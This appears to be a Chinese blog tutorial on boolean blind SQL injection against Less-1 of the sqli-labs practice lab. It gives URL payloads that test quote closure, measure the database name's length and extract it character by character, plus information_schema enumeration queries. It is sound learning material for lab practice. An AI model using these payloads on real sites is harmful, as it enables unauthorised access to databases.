SQL注入之盲注sqli-labs-master


sql注入首先尋找注入點,然後判斷注入類型(整形,字符型),是單引號閉合,雙引號閉合......,如果有過濾的話,是吃掉過濾還是阻斷。來看例子:

http://localhost/sqli-labs-master/Less-1/?id=1

返回正常。

http://localhost/sqli-labs-master/Less-1/?id=1-2


還是返回正常,但這時id=1-2爲-1,如果是整形的話:

http://localhost/sqli-labs-master/Less-1/?id=-1
該返回


但現在返回正常,由此可判斷注入類型爲字符型。輸入id=1'

http://localhost/sqli-labs-master/Less-1/?id=1'

可得是字符型的單引號閉合。基於此我們來對sqli-labs-master\Less-1進行盲注。

1.爆數據庫名的長度:

http://localhost/sqli-labs-master/Less-1/index.php?id=1' and (select (length(database())))=1-- -
database()表示選擇當前數據庫,-- -爲註釋符。用burpsuit抓包對長度進行爆破:


Payloads:


結果排序:


得數據庫名長度爲8位。

2. 爆數據庫名:

爆數據庫名第一個字符:

http://localhost/sqli-labs-master/Less-1/index.php?id=1' and (select ascii(substr(database(),1,1))) = 1--+

Payloads:



第一個字符的ascii碼爲115,對應字符s.查第二個字符:

http://localhost/sqli-labs-master/Less-1/index.php?id=1' and (select ascii(substr(database(),2,1))) = 1--+


第二個字符的ascii碼爲101對應字符e,以此類推爆出當前數據庫名: security。

select schema_name frominformation_schema.SCHEMATA limit 0,1 //查找第一個數據庫名

select schema_name frominformation_schema.SCHEMATA limit 1,1 //查找第二個數據庫名

limit 0,1選取結果第一個,limit 1,1選取結果第二個,以此類推。

這裏先暫緩一下,餘下爆表,列以及內容後面補充。











發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章